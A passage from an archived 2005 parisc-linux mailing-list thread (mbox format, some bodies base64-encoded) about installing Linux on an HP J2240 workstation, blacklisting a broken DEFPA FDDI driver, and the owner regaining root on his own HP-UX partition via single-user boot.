c2hvdWxkCmNvcGUgd2l0aCBhIHN1ZGRlbgpyZWJvb3QsIGJlaW5nIGEgam91cm5hbGVkIGZpbGVz
eXN0ZW0gYW5kIGFsbCAuLi4KaG93ZXZlciBkdWUgdG8gdGhlIGluaXQvc2h1dGRvd24gYnVnIEkg
b2Z0ZW4gaGF2ZSB0byBydW4gYSB4ZnNfY2hlY2ssCmFuZCBldmVuIGEgJ3hmc19yZXBhaXIgLUwn
IGluIG9yZGVyIHRvIGJlIGFibGUgdG8gbW91bnQgdGhlCmZpbGVzeXN0ZW1zIGFnYWluIG9uIHRo
ZSBuZXh0IGJvb3QuClN0cmFuZ2VseSB0aGUgcm9vdCBmcyB3YXMgbm90IGFmZmVjdGVkIHNvIGZh
ciwgYW5kIGx1Y2tpbHkgSSBkaWRuJ3QKaGF2ZSBhbnkgZmlsZQpjb3JydXB0aW9uL2xvc3Mgc28g
ZmFyIChJIGhhZCB0byB1c2UgeGZzX3JlcGFpciBhYm91dCAyMCB0aW1lcyBieSBub3cpLgoKCihV
bilmb3J0dW5hdGVseSBJJ20gb24gdmFjYXRpb24gaW4gR2VybWFueSByaWdodCBub3csIHNvIEkg
Y2Fubm90IHRlc3QvZGVidWcKdGhlIHByb2JsZW0gdW50aWwgbWlkLUphbnVhcnkuCgpHcmVldGlu
Z3MsCiAgIE1heAoKClBTOiBJIHdpc2ggeW91IGFsbCBhIGhhcHB5IE5ldyBZZWFyIDopCg==

--===============1020492483==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1020492483==--



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J2240 - Almost there....
Date: Sat, 31 Dec 2005 15:43:22 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <e6eae0290512310643q523877d9x@mail.gmail.com>
References: <000101c60d58$e249ac40$3401a8c0@POGO>
	<20051230200924.GA3556@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1083759609=="
X-Trace: ger.gmane.org 1416623971 17567 80.91.229.3 (22 Nov 2014 02:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 14:43:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 31 Dec 2005 15:43:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FEAA7D744;
	Sat, 31 Dec 2005 07:43:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09879-07; Sat, 31 Dec 2005 07:43:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3170D7D745;
	Sat, 31 Dec 2005 07:43:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFB007D740
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 07:43:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09879-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 07:43:26 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by free.linux.hp.com (Postfix) with ESMTP id 36CDA7D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 07:43:26 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i7so1878251wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 06:43:23 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=MsQymqbd+d3IVoerAZJsUBWAHMvJ9SmPZwtCWX0R/agcDctSovdtreb+c1pikk44fVOyHUNOSWAJJMBNIovsuF6E8ABe+maptQx82rD6RhhEpOnTRg+AGDjUq2AFOsDtOrsYbY8jg/y4KFiGNSP0vfJayXgl4qajEQNNBSXc7jA=
Original-Received: by 10.65.153.12 with SMTP id f12mr4475046qbo;
	Sat, 31 Dec 2005 06:43:22 -0800 (PST)
Original-Received: by 10.64.209.4 with HTTP; Sat, 31 Dec 2005 06:43:22 -0800 (PST)
In-Reply-To: <20051230200924.GA3556@tachyon.int.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T/zEY39ueSEkWL6WZHQhaXN1IGRvbwBT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23309

--===============1083759609==
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMzAvMTIvMDUsIEt5bGUgTWNNYXJ0aW4gPGt5bGVAbWNtYXJ0aW4uY2E+IHdyb3RlOgo+IE9u
IEZyaSwgRGVjIDMwLCAyMDA1IGF0IDEwOjUxOjIyQU0gLTA1MDAsIENyYWlnIEQuIExhbnNpbmcg
d3JvdGU6Cj4gPiBkZWZ4eC5jOnYxLjA2IDIwMDMvMDgvMDQgTGF3cmVuY2UgVi4gU3RlcGhhbmkg
YW5kIG90aGVycwo+ID4gZmRkaSVkOiBERUZQQSBhdCBJL08gYWRkciA9IDB4MTAwLCBJUlEgPSA5
NiwgSGFyZHdhcmUgYWRkciA9Cj4gNTgtQjAtNjAtMDAtMDAtMDAKPgo+IEknbSBnb2luZyB0byB0
YWtlIGEgc3RhYiBhbmQgc2F5IHRoaXMgaXMgeW91ciBwcm9ibGVtLiBZb3UncmUgbGlrZWx5IGdv
aW5nCj4gdG8gc2VlIGEgSFBNQyBjaGFzc2lzIGNvZGUgaG93ZXZlciB0aGlzIG1hY2hpbmUgZGlz
cGxheXMgc3VjaCBhIHRoaW5nIChsb29rCj4gdXAgdGhlIExFRCBjb2RlLCBvciBpdCBzaG91bGQg
ZGlzcGxheSBpdCByaWdodCBvbiBhbiBMQ0QgaWYgaXQgd2FzIG9uZS4pCj4KPiBbVGhhbmtzIGZv
ciBpZGVudGlmeWluZyBhIHBpZWNlIG9mIG5vbi13b3JraW5nIGhhcmR3YXJlLl0KCkJUVywgdGhp
cyBpcyBhIERFQyBGRERJIGNhcmQsIHRob3NlIHdlcmUgdXN1YWxseSB0aGUgb25lcyBzb2xkIGJ5
IEhQL0NvbXBhcS4KCkRFRlBBIGlzIGtub3duIG5vdCB0byB3b3JrIG9uIDIuNiAuLi4gb24gYW55
IHBsYXRmb3JtLiBXaGljaCBpcyBraW5kCm9mIHNhZCBzaW5jZQphbGwgdGhlIEJTRHMgaGF2ZSBh
IHdvcmtpbmcgZHJpdmVyIGFuZCBpdCBpcyBhIG5pY2UgcGllY2Ugb2YgaGFyZHdhcmUuCgpJIGNv
bnRhY3RlZCB0aGUgbWFpbnRhaW5lciBhIGNvdXBsZSBvZiBtb250aHMgYWdvLCBidXQgaGUgd2Fz
IGJ1c3kKd2l0aCBvdGhlciBwcm9qZWN0cywKYW5kIGhlIHNhaWQgaGUgd2FudGVkIHRvIGNvbXBs
ZXRlbHkgcmV3cml0ZSB0aGUgZHJpdmVyLCBidXQgaXQgaXMKcmF0aGVyIGxvdyBwcmlvcml0eSBm
b3IgaGltCnJpZ2h0IG5vdy4gSSBhbHNvIGdhdmUgaXQgYSB0cnkgdG8gZml4IHRoZSBkcml2ZXIs
IGJ1dCBJIHNvb24gZm91bmQKb3V0IHRoYXQgaXQgaXMgbW9yZSBlZmZvcnQKdG8gZml4IHRoZSBk
cml2ZXIgdGhhbiB0byByZXdyaXRlIGl0IGZyb20gc2NyYXRjaC4KClRoZSBvbmx5IHN1cHBvcnRl
ZCBhbmQgd29ya2luZyBGRERJIGNhcmRzIHVuZGVyIGxpbnV4IGFyZSB0aGUgb25lcwpmcm9tIFN5
c2Nvbm5lY3QsCmhvd2V2ZXIgdGhvc2UgY2FyZHMgaGF2ZSBhIEdQTC1vbmx5IGRyaXZlciBhbmQg
dGhlcmUgZXhpc3RzIG5vIGRyaXZlcgpmb3IgdGhlIEJTRHMuCgo+IFRvIHdvcmsgYXJvdW5kIHRo
aXMsIHlvdSBoYXZlIHR3byBvcHRpb25zOgo+Cj4gCTEgLSBSZW1vdmUgdGhlIGV4cGFuc2lvbiBj
YXJkLCBpZiBwb3NzaWJsZS4KPgo+IAkyIC0gQm9vdCBzaW5nbGUgdXNlciwgKGFwcGVuZCBzaW5n
bGUgdG8gdGhlIFBBTE8vSVBMIGNvbW1hbmQgbGluZSkKPiAJCTIuMSAtIEVkaXQvY3JlYXRlIC9l
dGMvaG90cGx1Zy9ibGFja2xpc3QuZC9wYXJpc2MgYW5kCj4gCQkJYWRkIHRoZSBtb2R1bGUgbmFt
ZSAocHJvYmFibHkgZGVmeHgpIHRvIHRoZSBmaWxlLgo+Cj4gSWYgb3RoZXIgbW9kdWxlcyBnaXZl
IHlvdSBncmllZiwgcmVwZWF0IHRoZSBzdGVwIHRvIGJsYWNrbGlzdCB0aGVtLgo+Cj4gSSdsbCBt
YWtlIHN1cmUgdGhpcyBtb2R1bGUgZG9lc24ndCBnZXQgYnVpbHQgaW50byB0aGUga2VybmVsLCB0
aGUgZHJpdmVyCj4gaXMgcHJvYmFibHkgd3JpdHRlbiBub24tcG9ydGFibHksIGFuZCB0aHVzIGZh
aWxzIG1pc2VyYWJseSBvbiAnb2RkJwo+IGhhcmR3YXJlIGxpa2UgcGFyaXNjLgoKTm8sIGl0J3Mg
bXVjaCB3b3JzZSB0aGFuIHRoYXQgOi1QCjUgeWVhcnMgb2YgYml0LXJvdCBsZWF2ZXMgaXRzIG1h
cmtzLgoKR3JlZXRpbmdzLAogICBNYXgK

--===============1083759609==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1083759609==--



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 - Almost there....
Date: Sat, 31 Dec 2005 11:21:48 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <000f01c60e26$4ccb0f00$3401a8c0@POGO>
References: <20051231033058.GA1497@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623971 17571 80.91.229.3 (22 Nov 2014 02:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Kyle McMartin'" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 16:22:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 31 Dec 2005 17:22:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6C317D752;
	Sat, 31 Dec 2005 09:21:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13260-01; Sat, 31 Dec 2005 09:21:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4153A7D748;
	Sat, 31 Dec 2005 09:21:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63F6D7D744
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 09:21:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10185-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 09:21:53 -0700 (MST)
Original-Received: from mxsf42.cluster1.charter.net (mxsf42.cluster1.charter.net
	[209.225.28.174])
	by free.linux.hp.com (Postfix) with ESMTP id BA00F7D740
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 09:21:53 -0700 (MST)
Original-Received: from mxip13a.cluster1.charter.net (mxip13a.cluster1.charter.net
	[209.225.28.143])
	by mxsf42.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	jBVGLpfe011035 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 11:21:52 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	(24.176.131.136)
	by mxip13a.cluster1.charter.net with ESMTP; 31 Dec 2005 11:21:51 -0500
X-IronPort-AV: i="3.99,317,1131339600"; 
	d="scan'208"; a="1956086371:sNHT20393570"
X-Mailer: Microsoft Office Outlook 11
In-Reply-To: <20051231033058.GA1497@quicksilver.road.mcmartin.ca>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcYNuq8ic9s2Zx7+T8GFQAFbx8BttgAabR7A
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fdXEY0MIeSEkUr6WZHQhaXN1IGRvb0B/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23310

That worked, Thanx!!!!  I added both defxx and DEFPA to
/etc/hotplug/blacklist.d/parisc to be safe.

I am now able to boot and have completed the install.

$uname -a
Linux howlin 2.6.8-2-32-smp #1 SMP Wed Aug 24 17:55:41 UTC 2005 parisc
GNU/Linux

OK, I have a little work to do with the h/w clock, but it's a start.

As far as what cards (or anything else) are in there I don't really remember
and it is not in a really good place to access the rear panel at all :-(
I'm sure of 2x CPUs, 2 FWSCSI 9GB HDD, DDS 3 Tape, Toshiba CD-ROM, and
probably redundant Ethernet/FDDI cards.  Unfortunately, the system + console
on top of it weight in at what feels like a ton :-)  If I could remember the
root password (ergh!), I could poke around in SAM on the HP-UX partition.
It boots to CDE, but I can't remember a single login.  The J2240 was a gift
from a client who was an HP shop and was bought by a BigBlue company.  They
gradually had to get rid of their HP equipment.  They called me one day
several years ago and said they were going to throw away this J2240 and the
HP p1120 console (brand new... 1 day old) and I could have it... so I took
it.  Be careful what you ask for.........


-----Original Message-----
From: Kyle McMartin [mailto:kyle@mcmartin.ca] 
Sent: Friday, December 30, 2005 10:31 PM
To: Craig D. Lansing
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 - Almost there....

On Fri, Dec 30, 2005 at 10:16:59PM -0500, Craig D. Lansing wrote:
> I tried adding "single" to various parts of the PALO command line.  No
luck.
> Since the error at least looks like it is related to the FDDI card, I
> re-installed using the other NIC as my primary (eth1).  No difference.
>

Bah. Instead of single use "init=/bin/sh" and run mount -o remount,rw /
to remount your root fs read-write, then follow the same step.

Definitely sounds like an HPMC because of a bad driver. What types
of expansion card do you have in that thing?

[You really shouldn't just throw it out, it's quite a nice box...]

Cheers,
	Kyle 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Sat, 31 Dec 2005 11:08:20 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20051231180820.GA22653@colo.lackof.org>
References: <20051231033058.GA1497@quicksilver.road.mcmartin.ca>
	<000f01c60e26$4ccb0f00$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623971 17579 80.91.229.3 (22 Nov 2014 02:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <clansing@charter.net>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2005 17:59:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 31 Dec 2005 18:59:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F6AC7D74E;
	Sat, 31 Dec 2005 10:59:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13675-05; Sat, 31 Dec 2005 10:59:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5E997D74F;
	Sat, 31 Dec 2005 10:59:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF91E7D74D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 10:59:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13331-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 10:59:27 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3C9667D74C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 10:59:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B47F036000F;
	Sat, 31 Dec 2005 11:08:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21212-09; Sat, 31 Dec 2005 11:08:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 56B8A36000C; Sat, 31 Dec 2005 11:08:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <000f01c60e26$4ccb0f00$3401a8c0@POGO>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UKLEY78VeSEkQr6WZHQhaXN1IGRvb0De
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23311

On Sat, Dec 31, 2005 at 11:21:48AM -0500, Craig D. Lansing wrote:
> If I could remember the
> root password (ergh!), I could poke around in SAM on the HP-UX partition.

You don't need to remember the root login.
Answer "Y" to "Interact with ISL" type "hpux -is" at the ISL prompt.

You'll be root in single user mode.

"There is no such thing as computer security without physical security."

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 - Almost there....
Date: Sat, 31 Dec 2005 23:21:06 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <000a01c60e8a$cac5bc70$3401a8c0@POGO>
References: <20051231180820.GA22653@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623971 17582 80.91.229.3 (22 Nov 2014 02:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Grant Grundler'" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jan 2006 04:21:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 01 Jan 2006 05:21:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEE8E7D71F;
	Sat, 31 Dec 2005 21:21:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18088-05; Sat, 31 Dec 2005 21:21:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C2587D722;
	Sat, 31 Dec 2005 21:21:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BFF97D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 21:21:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18088-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 21:21:16 -0700 (MST)
Original-Received: from mxsf23.cluster1.charter.net (mxsf23.cluster1.charter.net
	[209.225.28.223])
	by free.linux.hp.com (Postfix) with ESMTP id C7AE27D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 21:21:16 -0700 (MST)
Original-Received: from mxip16a.cluster1.charter.net (mxip16a.cluster1.charter.net
	[209.225.28.146])
	by mxsf23.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	k014LBho014327 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Dec 2005 23:21:14 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	(24.176.131.136)
	by mxip16a.cluster1.charter.net with ESMTP; 31 Dec 2005 23:21:11 -0500
X-IronPort-AV: i="3.99,317,1131339600"; 
	d="scan'208"; a="1965908037:sNHT26109654"
X-Mailer: Microsoft Office Outlook 11
In-Reply-To: <20051231180820.GA22653@colo.lackof.org>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcYOM/OeanljwHZwQt61eE5O/dY4YAATLD/A
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
